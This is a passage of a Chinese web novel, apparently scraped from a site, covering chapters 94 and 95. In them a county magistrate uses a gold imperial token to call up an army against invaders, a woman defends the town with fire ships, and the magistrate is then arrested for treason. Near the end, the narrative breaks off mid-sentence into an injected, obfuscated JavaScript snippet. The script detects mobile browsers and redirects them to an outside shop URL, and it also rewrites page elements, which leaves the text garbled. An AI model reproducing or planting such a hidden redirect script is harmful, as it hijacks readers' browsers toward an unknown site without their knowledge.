她只抬头望天,说一句:“幸得天时,有此长风。” 因为若逆向,那便难行此事。 那日夜,沈莲丰去城墙上为陆笙送暖炉,远处蕃人营地火把一簇一簇,像夏日的萤火,她一个个得数,对面来人比她想象得还要多。 这阵仗看得沈莲丰也纳闷,到底发生了什么大事,蕃人要从这里突破? 94. 第 94 章 夜已深,风不大,军营里火把擎着的明光安静燃烧着,此时除了轮值的军士其余人都已睡下,营帐里传来的呼噜声叫睁眼的人泛起几分困。 “都精神点!” 梁铁背着手走在营地里,照例给这帮小子吼上两声以示警戒,偶尔瞧见站着闭眼的直接就是一鞭子。 看过营地口后,他准备往里走再巡逻一圈。 可这时候居然有马蹄声传过来,梁铁眼睛的困倦顿时消了,目光清明地转回去。 这段时间马驮来的人,按照将军的话就是需要他先挡一挡,挡得好说不定升官发财,挡不好一辈子校尉命,别想出头。 梁铁听马蹄声愈来愈近,他先躲进一片阴影。对方在明,自己在暗,方便他先观察观察。 “烦请禀报元将军,我乃永平县县令崔息,边境有蕃人来犯,请速速开拔!” 梁铁一听是有战事立刻紧了紧手中刀,可对方又是永平县县令,将军说过这位一来就要多使几个绊子。 他拦住前去通禀的军士,自己走到拒马之前会会这位崔县令。 火光之下这位崔县令还是风姿倒是不减,颇有几分上京名士的风流,梁铁不动声色地打量一番。 “我乃将军手下校尉,夜已深,将军已睡。” “睡?军机要事他还安眠,再不开拔不怕圣人治罪?”崔息冷笑。 梁铁摸摸下巴笑着问:“不知崔县令有何证据是那蕃人来犯?” “如今南北安定不过几年,正是安民心的时候,他元一力担得起这个怠慢之罪?你小小校尉不知轻重也就罢了,此军队早该驻军永平,现在却在这里游荡,再不识趣莫说是你,就是元一力也难逃杀头之罪!”崔息努力克制自己心里的杀意。 梁铁退后几步,忽然回到拒马之后。 他颇有些不耐烦地道:“真是聒噪,你继续喊吧,继续喊,大军难道是你几句话能搬得动的?”梁铁与崔息对峙。 火光落在这位崔县令的半面面孔,他垂在身侧的手有些微微颤抖。 以后梁铁凭直觉又退后一步。他细细梳理了一下这些日子元将军的命令和这崔县令的言语,心里有些惊疑不定。 难道真是蕃人来犯?那这事自己担得起么? 思索之际,周围军士忽然拔刀,刀剑出鞘声混在一起,梁铁反应过来的时候崔息的剑已经割在自己的喉咙上。 刀锋冰凉,但又有温热的血从脖间流出来。 若是再割深一点,梁铁不敢想象,立刻求饶:“明府饶命,饶命!我,我这就带你去元将军的营帐!” 刚转身,元一力却在身后,还穿着整齐的盔甲,手扶着腰间先皇李允御赐宝剑。 崔息见到人立刻放了梁铁,他问:“元将军这是知道要开拔了?” 元一力摇摇头道:“只是例行检查。崔县令到此有何贵干?” 崔息怒目而视,他恨不得一脚踹翻这个元一力,夺了他的印信叫全军极速驰援永平,但元一力武功高强,哪怕是秦厌来都不是他的对手。 “或者崔县令有什么信令可以让我开拔?” 崔息听他这话紧咬牙关。 来时就准备了他要的东西,当时想的是万不得已再拿出来,可万不得已是什么时候?崔息忽然明白,其实自己骑马飞驰而来乞求支援的时候就是万不得已。 “哐当”一声,他手中剑跌地。 颤抖的手从怀中掏出一枚黄金牌。 元一力见牌面露喜色,立即跪倒在地,他抱拳朗声说:“臣,元一力在此恭候殿下多时。” 这金牌,是李允给自己的信物,说是赠送予自己的,若他年变心意便可凭牌起事。 当时崔息觉得他疯了,可是血源又赋予他登上皇位的资格,于是这枚牌还是阴差阳错地留了下来,皇位,说没有动过心是假的。 崔息举着牌不说话,忽然笑一下。 都说君要臣死,臣不得不死,今天又是什么?自己明知元一力另有他图,还是不得不交出此牌。 崔息哈哈大笑,笑完抹去眼角泪水厉声道:“元一力,速速与我进兵永平,平蕃人乱!” 元一力迅速打出旗语,低沉的角声响彻,军士训练有素,迅速集结出发,如此迅速,像是一直等着开拔。 崔息被安排在主将的大车之内,他无力地躺在车上,双目空洞。 或许是赶路疲惫,这摇晃的车厢竟然链接上一些儿时残在身体里的记忆。于是眼皮开始逐渐沉重,黑暗的车厢和闭眼的景象渐渐化作一片,分不清彼此。 “崔云尘,贴那站好!” 崔玉穿着绛色圆领袍,手里拿着鞭子,一把将刚乘车回来的崔息扯过去。 崔息眼尖,看到那鞭上还有残留的柳树叶,但看母亲的架势,可能下一秒这鞭子就要落在自己的身上。 “你如今怎的不学好,学人打架!让你学些拳脚是用来打架的?叔伯是这么教你的?” 崔息不说话,因为他确实跟人打了架。 今天书院有人说他是野种,还说他母亲水性杨花轻浮女子,他一口气没忍住就把人打了,拳头出去别提多快意,所以将人打得挂了彩,还昏死了过去。 “谁让他骂我……和母亲。”崔息不服气。 崔玉放下鞭子问对方怎么骂的。 崔息不想重复第二遍,抿着嘴一句话不说。 “云尘怎么了?”叔伯崔怀照一身绯色袍服,应是刚从宫里回来。 崔玉见是崔怀照,无奈叹了口气道:“跟人打了架。” “打赢没有?”崔怀照问。 “赢了。”崔息看看母亲的脸色,声音很小。 “赢了,开心么?”叔伯的语气很是和蔼,和蔼到有点陌生。崔息挠挠头,觉得自己是不是打架脑袋打坏了,叔伯一直都是这样的。 “不知道。” “怎么会不知道呢?”叔伯蹲下来,眼睛和他对视。 “因为他后面说得越来越难听,所以我也不知道。”崔息诚实地回答,年岁尚小,还不分不清那么多种情绪。 崔玉听到这里“噗嗤”一声笑出来,果然就是个年岁未长,稚嫩的小孩。 她其实知道崔息在书院里被人骂了什么,她不希望的是孩子因为这件事去使这种手段。 打赢固然好,可现在正是不知轻重的年纪,除了出气,还要考虑一下以后才是。 “母亲,你不生气了是不是?你也觉得我打得好对不对?” 崔息看到母亲脸上的笑容,不知怎么就得意忘形起来,甚至越说越得意,把对方骂了什么话也说漏了嘴。 崔怀照一听那些腌臜话,方才还柔和的神色立刻冰冷。 崔玉蹲下抱住崔息,她对崔息说:“你呀,年岁小还不知下手的轻重,母亲只是希望你能好好长大,这些仇怨不该在你心里……”< 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等待箭雨过去陆笙又“咚!咚!咚!”三声,船上的人迅速点火,有人举盾,有人割绳索,一船人各有分工。 火船被水流与风一点点往前推,愈来愈烈的火光之下水面一切无所遁形。 此刻除了燃烧的火船水面再无动静,直到火船追上夜渡的蕃人,刚才射过来的箭已经被拔下,掉转了箭头射给了他们,直到那边再无动静。 又挣一夜的生存,陆笙长舒一口气。 回去的路上她在心里计算了一下彼此的射程,发觉对面的蕃人弓箭手水平强得可怕。 到岸上,新做的浮灯又被放出去,一盏一盏缓缓飘向对岸。 县尉对陆笙竖起大拇指说:“陆娘子真是神了!” 陆笙笑着摇摇头,眉间有驱不散的隐忧。 这一招需要大量的纸,而永平县的纸张又能支持多久这样大规模大范围的点灯呢?到浮灯燃尽的那一天,会是这座城的死期。 陆笙也收到消息,有人观察到对面已经开始伐树制船,这意味着他们准备拉近战场,可永平县的箭支能抵达的距离只是对面的一半。 老城的城墙不是全封闭的,新城的城墙还未建好,天气又不足够冷了,冻不出坚硬的冰。 如何是好,如何是好…… “娘子,你已经尽力了,人力不及便撤吧!!” 沈莲丰拍拍她的肩膀,语气带着几分乞求,陆笙自从接管守城工作以后神思耗费颇大,她怕。 有时她不由想,娘子若是生在高门人家,去宫里做个女官会不会很好?可她的性子又不合适做官。 看到沈莲丰,陆笙心里平缓一些,她笑说:“今日夜里阿灵做了什么好吃的?” “都是娘子喜欢的……” 她话尚未说完,城墙之上的钟声与鼓声齐齐发作,声音急促慌忙,两人脸色顷刻之间大变。 虽然在陆笙的预料之内,这支蕃人军队必不会甘心被她柔弱手段缠缚,现在对面的主帅必然是恼羞成怒准备强攻,之前不过是为了减少人员伤亡罢了。 陆笙朝沈莲丰一笑说:“丰娘,你去安排撤退之事。” 沈莲丰不敢耽搁,紧紧握一下陆笙的手便大步离开,她走出几步眼泪直流,因为先后顺序里,娘子把自己排在了最后一批。 95. 第 95 章 县尉跟在陆笙身后,之前还弯弓搭箭的长官此刻已经不再动作。 他以为是轮到撤退所以要开始准备,可陆笙却对他说:“快走吧。” 蕃人的号角声已然在耳边,除了死士这座城再没有别的人,县尉对陆笙施一礼后飞快奔了出去,再走慢一点,蕃人的刀就要砍到他的脖子上。 沈莲丰和阿木凌此时正在慌乱奔逃的人群里寻找陆笙,她说在这里相会的! “她,她不会……这个傻子,傻子!!!”阿木凌气得大叫。 沈莲丰愣住转身就要往她可能在的地方跑去,阿木凌抱住沈莲丰。 “陆笙傻了,你也要跟着去送死吗!陆笙最后那些时间都和你在一起,你死了谁知道她干了什么!” 昂摩和女儿一起把沈莲丰拖走。 陆笙正在布置火药,蕃人这支精锐进击的速度太快,比她想象得还要快,所以之前布置撤退的最后一批人大概率会被追上。 可又没办法更改之前的,太过拥挤和慌张会造成更大的灾难,所以唯一的机会就是用最小的单位给他们造成最大限度的破坏。 外面号角声又起,一声又一声,比之前听到得都要近。 点亮烛火,屋子里这一簇光燃烧得如此安静,她又拔出剑,冷静地告诉自己砍杀一两个才会遭到更多人的围攻。 决定全部做完。 全部,陆笙想。 剩下的时间仿佛一段真空,她有点无措,自己开始分不清楚时间的长短,理性处理完所有工作开始退场,脑海之内压抑的求生本能和恐惧爆发出来。 陆笙控制呼吸,试图将这些东西全部摒弃。 脚步声开始环绕周围,理性继续占领自己的脑海,她的剑反射出半开门窗里跃入的那一束光,它极其闪烁耀眼,敌人会第一时间发现自己。 “咚!”一声,门被人暴力推开。 陆笙提剑而上却又止步。 是崔息,他嘴唇干裂,绿色的官袍上满是尘土,看到他陆笙的眼泪顷刻决堤。 本来还想轻松地说两句话,可是被他抱住的时候只能抽噎两声。 “夫人,云尘还是来得太迟了。”崔息的声音接近气声,情绪让人哽咽,几乎要说不出话。 他们拥抱时有个陌生的,好像洪钟大吕一般的声音响起。 “崔县令,团聚得差不多了吧?” 崔息紧紧抱一下陆笙然后忽然松开,他对陆笙郑重地说:“记得好好睡觉。” 陆笙不明白他这是什么意思,又看看他身后的人。 “本将军有圣人口谕在身,便宜行事。如今本将怀疑永平县县令崔息有意谋反,特押解回京,听候圣人发落。”那位将军铁甲银盔,一字一句掷地有声。 崔息朝陆笙递一个安慰的眼神,然后走过去,左右忽然冒出许多士兵,有几个手里拿着木枷与锁链。 “记得好好睡觉。” 崔息不知为何固执地反复提起这一句话,陆笙记得他出行前就提过一次。 这到底是什么意思,不只是嘱咐么?陆笙思维如冰冻一般,木愣愣地往前走了两步,太多东西堵塞在她的身体里,一时间什么都无法出口。 “来呀,将乱臣贼子给我拷上!” 元一力死死握住自己的剑柄,这一句话他说出来也觉得耻辱,但一山不容二虎,怪就怪他自己非要留着那枚牌。 “尔敢?!”崔息忽然怒目,脸上威严更盛。 这时候元一力几乎要把他当成已逝的先皇,众皇子中确实只有他最像先皇,威严与锐利,与少年天子何其相似! “元将军,走吧,回上京。” 元一力摆摆手,军士们排列两队,崔息从两队人中间走过,那气派哪里是乱臣贼子,分明是班师回朝。 陆笙想追却被元一力挡住,崔息脚步不敢停,只是微微一顿便继续前进。 陆笙拔剑,睡知金银宝剑被他手里那一柄利刃直接一分为二! “军队已驻永平县,你不必担忧死守了。”元一力来到城中看了几眼便知道发生了什么,对于这样血性的女郎他还是有惜才之心的。 陆笙不服气,一点也不服气! 可是剑断了,耳鸣又发作,断剑刺入木板几寸她才没有倒下。 自己的世界动荡,摇摇晃晃跑出去只能看到一点未尽的尘埃,每条巷子都有军士守卫,刚才逃跑的百姓又陆续回来。 只有陆笙,她摇摇晃晃地往外走,充满疑惑,充满不解,还有愤怒。 凭什么,又为什么? 难道真的是所谓天命如此,陆笙抬头望望天。 她问苍天:“可死路一条的不是我么?” 又忍不住笑,这朗朗乾坤,世间万象她怎么看出来是黑的,哪有这样空口污人的事,白的说成黑的。 陆笙觉得自己身体沉重。 但她不要跪倒,绝不! 心里的怒火像知道自己的成果被窃一样烧起来,就算是拼却了自己她也要用自己命问一个缘由。 如今崔息依旧被安置在那辆车里,也没有戴枷锁。其实他拿出牌子的那一刻,就知道自己成了叛臣。 自己的罪名一旦坐实就与那犯边的蕃人一个下场。 甚至,比蕃人留下的臭名还要久远,他会被记在史籍之中,千年万年反复鞭挞。 想到这事最坏的结果,崔息忍不住颤抖,自己最后还是辜负了母亲的期待。 这也是自己来此地的最大顾虑,如今成真摆在眼前。可要问他后不后悔表明真心,他一点也不后悔,只为自己带来的动荡而愧疚。 这次算不算舍命陪陆笙?他忽然笑了一下,她若被召贤会名留青史的。 - 沈莲丰找到陆笙的时候她抱着一棵树,人不知道是昏死了还是睡着了。她周围有一群人护着,都不是医者所以没人敢妄动。 张远清被拽过来的时候内心千言万语,但只化作一声叹息。 他这辈子最讨厌不听话胡乱来的病患,但对她能怎么办,有几分本事出几分本事吧,要治也只能把自己的心态自己治一治。 “没大事,是睡死过去了。”张远清给她把脉。 有人认出来沈莲丰的身份,问她:“刚才瞧见县令跟着那位魁梧的将军走了,这是要去受封赏了吗?” “是。”沈莲丰努力笑着说,这时候哪能说真话呢,就算把永平县的人全部搭上去,有些事还是改变不了。 今天元一力出现的时候她就知道不妙,虽没有给阿郎上枷锁,但一定不是好事,更不会是封赏。 张远清拿起针,有人送来火有人送来艾,他翻开针包为陆笙扎针。 “接住接住。”他刺最后一针时忽然说道。 许多双手接住了陆笙,最后沈莲丰把她背在后背。 她找到阿木凌和昂摩,将细软托付给她们。 路上的时候陆笙醒了一次,她闻到沈莲丰常熏的香觉得安心,这份安心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732320|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带来一丝困倦,疲惫感涌现,裹挟她的意识下沉。 陆笙忽然打了个激灵,以为自己要沉到地狱,但醒来还是在退休居,屋子里的炉火在燃烧。窗台上还插着夏季风干的莲蓬,自己趟在崔息的床上。 “丰娘?”她尝试喊了一声,但没有回音。 陆笙准备起床,手按在枕边,自己的身体撑起来时感觉到一点硌手。 手往枕头下伸,硌手的感觉越来越明显,她仿佛抓住了什么线索,疯狂地去翻崔息的寝具。 沉甸甸的,一枚黄金牌出现在手心。 “娘子?”沈莲丰叩门后推门进来,刚才似乎听到陆笙在呼唤她。 撩开木珠帘,看到她手指缠着一根线,直直的坠下去,它系着一枚黄金牌。 “这……这枚黄金牌怎么会在这里?!”沈莲丰惊诧。 “丰娘知道这块牌的来历?” 沈莲丰点点头,她走过去仔细端详了一番缓缓道来,说它的来历,说它与阿郎的渊源。 说完她道:“我猜阿郎是用它调的元将军,可这牌应该会被收走才是。” 陆笙这时候终于明白为什么崔息要让自己好好睡觉了,用意多半在这里。 若他给元一力的黄金牌是假的,那么他身上的谋反罪其实并不成立。他可以说是为平蕃人犯边而迫不得已为之。 “不对!”陆笙总觉得还有哪里有问题。 沈莲丰问她哪里不对,陆笙思索片刻后说:“若是诬陷云尘谋反,那么元一力捉他的事明明可以在他掏出令牌以后才对。” 把罪名强加给崔息然后把人连同那一枚金牌齐齐送往上京,这难道不是最快的解法吗? 到底有什么必要性,要让元一力走到永平县才抓崔息? 陆笙没有太多头绪,拍了拍额头把这事沉下去,然后对沈莲丰说:“丰娘,你可愿陪我去一趟上京?” “娘子说东丰娘绝不往西!”沈莲丰知道陆笙是要去救崔息,心里感怀无比。 “只是……”沈莲丰脸上有几分为难的表情。 “怎么?” “只是得寻个由头。办这件事要见的人都身居高位,我们递帖子也未必能入对方管事的眼。”沈莲丰知道这件事很难,甚至她有点不抱希望。 只是有些事,没有希望也得去做。 她知道公主必然会插手,但在上京行事掣肘处太多,此事又关崔氏,他们的态度并不容乐观,否则就可以请那位相公出手。 陆笙看她满脸愁容忽然一笑,她说:“揭那召贤令,我们永平县没有,京畿之地总是有的!” “娘子说的是!”沈莲丰听了直接一拍手,“对了,告诉娘子一个好消息,秦厌被土人救下了,现在正在黑寨养伤。” “那收拾收拾我们去上京,我去把事物交接给县尉与县丞后就动身!” 沈莲丰当即说好。 屋子里剩陆笙一个人,她一时坐也不是站也不是,但一想到这路途要遥远几月便不再折磨自己。 陆笙坐下,马上又弹似得站起来。 明白了!她明白了! 为什么,为什么元一力要等到永平县才抓人。排除了所有可能性,哪怕是最不可能的那一个,它也是真相,是有人要逼着自己去上京。 元一力听谁的命,谁就是那个人! 陆笙想笑,笑不出来,但嘴角反复几下还是上翘了几分。 没关系,反正人都是走到无路可走的。